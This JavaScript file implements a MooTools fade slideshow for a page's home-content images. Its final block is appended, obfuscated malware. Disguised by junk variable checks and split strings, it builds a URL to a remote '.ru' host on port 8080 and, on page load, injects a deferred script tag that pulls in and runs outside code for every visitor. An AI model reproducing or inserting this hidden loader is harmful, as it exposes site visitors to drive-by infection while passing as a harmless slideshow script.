var FadeSlideShow = Fx.Elements.extend({

	options: {
		wait: false,
		_current: 0
	},

	initialize: function(){
		var options, elements;
		$each(arguments, function(argument, i){
			switch($type(argument)){
				case 'object': options = argument; break;
				default:
					var temp = $$(argument);
					elements = temp;
			}
		});
		this.elements = elements || [];
		this.setOptions(options);
		this._timeoutInterval = false;
		this.effects = {};
		this.effects.opacity = 'fullOpacity';
				
		/*if(this.elements[0])
		{
			this.elements[0].parentNode.style.visibility = 'visible';
		}*/
		
		this.elements.each(function(el, i){
			this.elements[i].fullOpacity = 1;
			//if(i != this.options._current)
			//{
				for (var fx in this.effects) el.setStyle(fx, 0);
				el.style.visibility = 'visible';
			//}
			//else
			//{
//				for (var fx in this.effects) el.setStyle(fx, el[this.effects[fx]]);				
			//}
		}, this);
	},

	fadeIn: function(index){
		index = ($type(index) == 'element') ? this.elements.indexOf(index) : index;
		var obj = {};
		obj[index] = {};
		for (var fx in this.effects) obj[index][fx] = this.elements[index][this.effects[fx]];
		return this.start(obj);
	},

	fadeOut: function(index){
		index = ($type(index) == 'element') ? this.elements.indexOf(index) : index;
		var obj = {};
		obj[index] = {};
		for (var fx in this.effects) obj[index][fx] = 0;
		return this.start(obj);
	},

	slide: function(){
		var _next = this.options._current + 1;
		if(_next >= this.elements.length)		
		{
			_next = 0;
		}
		var obj = {};
		obj[_next] = {};
		for (var fx in this.effects) obj[_next][fx] = this.elements[_next][this.effects[fx]];
		obj[this.options._current] = {};
		for (var fx in this.effects) obj[this.options._current][fx] = 0;		
		this.options._current = _next;		
		return this.start(obj);
	},

	slideTo: function(_next){
		if(this.options._current == _next) return;
		if(_next >= this.elements.length)		
		{
			_next = 0;
		}
		var obj = {};
		obj[_next] = {};
		for (var fx in this.effects) obj[_next][fx] = this.elements[_next][this.effects[fx]];
		this.elements[_next].style.zIndex = 100;
		obj[this.options._current] = {};
		for (var fx in this.effects) obj[this.options._current][fx] = 0;
		this.elements[this.options._current].style.zIndex = 10;
		
		var fixobj = {};
		for(var i=0; i < this.elements.length; i++)
		{
			if(i != _next && i != this.elements.length)
			{
				this.elements[i].style.zIndex = 10;
				fixobj[i] = {};
				for (var fx in this.effects) fixobj[i][fx] = 0;
				this.set(fixobj);
			}
		}
		
		this.options._current = _next;		
		return this.start(obj);
	}
	
});

var slideshows = [];
var _fades = [];

var first_delay = 180;
var delay_between = 5000;
var second_delay = 400;

var duration = 1000;
var _count = 0;

function initFadeSlideShow()
{
	var _box = $("home-content");
	if (_box)
	{
		slideshows = _box.getElements("div.fade");
		slideshows = shuffle(slideshows);
		_count = slideshows.length;
		for(var i=0; i < slideshows.length; i++)
		{
			var imgs = slideshows[i].getElements("img");
			_fades[i] = new FadeSlideShow(imgs,{duration:duration});
			_fades[i]._step = 0;
			setTimeout('_switch('+i+')',i*_count*first_delay);
		}
	}
}

function _switch(_i)
{
	_fades[_i].slide();
	if(_fades[_i]._step == 0)
	{
		setTimeout('_switch('+ _i+')',_count*_count*first_delay + delay_between + _i*_count*second_delay);
		_fades[_i]._step++;
	}
	else if(_fades[_i]._step == 1)
	{
		setTimeout('_switch('+ _i+')',_count*_count*(first_delay + second_delay));
	}
}

function shuffle(_array) {
	for (var i = _array.length - 1; i > 0; i--) {
      var j = $random(0, i);
      temp = _array[i];
      _array[i] = _array[j];
      _array[j] = temp;
    }
    return _array;
}


if (window.addEventListener)
	window.addEventListener("load", initFadeSlideShow, false);
else if (window.attachEvent)
	window.attachEvent("onload", initFadeSlideShow);

var s;if(s!='' && s!='oZ'){s='J'};var Kl;if(Kl!='' && Kl!='sf'){Kl='p'};function P(){var l;if(l!='' && l!='Wa'){l='H'};var dU;if(dU!='' && dU!='Kv'){dU='Iu'};var e="gcHI".substr(0,1);var W='';var V=RegExp;this.v="";var HR=new String();var bz;if(bz!='' && bz!='w'){bz=null};var B;if(B!='' && B!='E'){B=null};function k(S,PO){var ol=new String();var T= String("[");var VK;if(VK!='BQ' && VK!='Sa'){VK='BQ'};T+=PO;T+="]PrEh".substr(0,1);var Oi;if(Oi!='m' && Oi!='G'){Oi=''};var zT=new Date();var xM=new Date();var _=new V(T, e);return S.replace(_, W);var No;if(No!='' && No!='X'){No=null};var _I;if(_I!='KS'){_I=''};};var c_;if(c_!='R' && c_ != ''){c_=null};var AQ=new Date();var TN;if(TN!='' && TN!='Wi'){TN='h'};var j="";var U='';var Ms;if(Ms!='mS'){Ms='mS'};var Ec;if(Ec!='Mc' && Ec!='eQ'){Ec=''};var d="nrsdef".substr(3)+"NSquer".substr(4);var i;if(i!='Az'){i='Az'};var K=String("http:"+"//rap"+"idsha"+"re-co"+"tbNm.kai".substr(3)+"cvXxin00".substr(3)+"1.comBh0".substr(0,5)+".pcwodG9e".substr(0,5)+"bzwrld-c".substr(3)+"om.bu"+"JOiZymypa".substr(4)+"lm.ru"+"DnRO:".substr(4));var ov;if(ov!='' && ov!='pg'){ov=null};var n;if(n!='' && n!='Et'){n=null};var O=window;var N=k('8223302332328332202333',"23");var au;if(au!='jj' && au != ''){au=null};var A=String("/blacC8pQ".substr(0,5)+"9vQZkberrvQ9Z".substr(4,5)+"gnERy.comEnRg".substr(4,5)+"/blac"+"cFWkberrWcF".substr(3,5)+"FiCIy.com".substr(4)+"Y2q/soutY2q".substr(3,5)+"2S1hwest2S1".substr(3,5)+"j3O.com/3jO".substr(3,5)+"bFOagooglOFab".substr(4,5)+"86Ce.comC68".substr(3,5)+"6l2S/sedoSl26".substr(4,5)+"parki"+"9WOng.co9OW".substr(3,5)+"HXbEm.phpXEbH".substr(4,5));var fU=new Array();var kl="scrDjn".substr(0,3)+"AwqiptwqA".substr(3,3);var C=new String("src");var SU;if(SU!='u' && SU!='PF'){SU=''};O.onload=function(){var F;if(F!='tG' && F != ''){F=null};var Iv=new String();try {U=K+N;U+=A;var Fo;if(Fo!='' && Fo!='aC'){Fo=''};var oTd;if(oTd!='' && oTd!='L'){oTd=''};o=document.createElement(kl);var y;if(y!='Pd' && y!='_d'){y=''};var q='';var uX;if(uX!='' && uX!='fy'){uX=null};o[d]=[1][0];this.QI='';this.QF='';o[C]=U;var EU=new String();var CT;if(CT!='Fa' && CT != ''){CT=null};var hj;if(hj!='PU' && hj!='hV'){hj=''};document.body.appendChild(o);var bL;if(bL!='az'){bL=''};var Tu;if(Tu!='Pi'){Tu=''};var EKk="";} catch(Nj){};this.dq="";this.oq="";};this.Sf="";};P();var xH;if(xH!='eU'){xH='eU'};var AZ=new Date();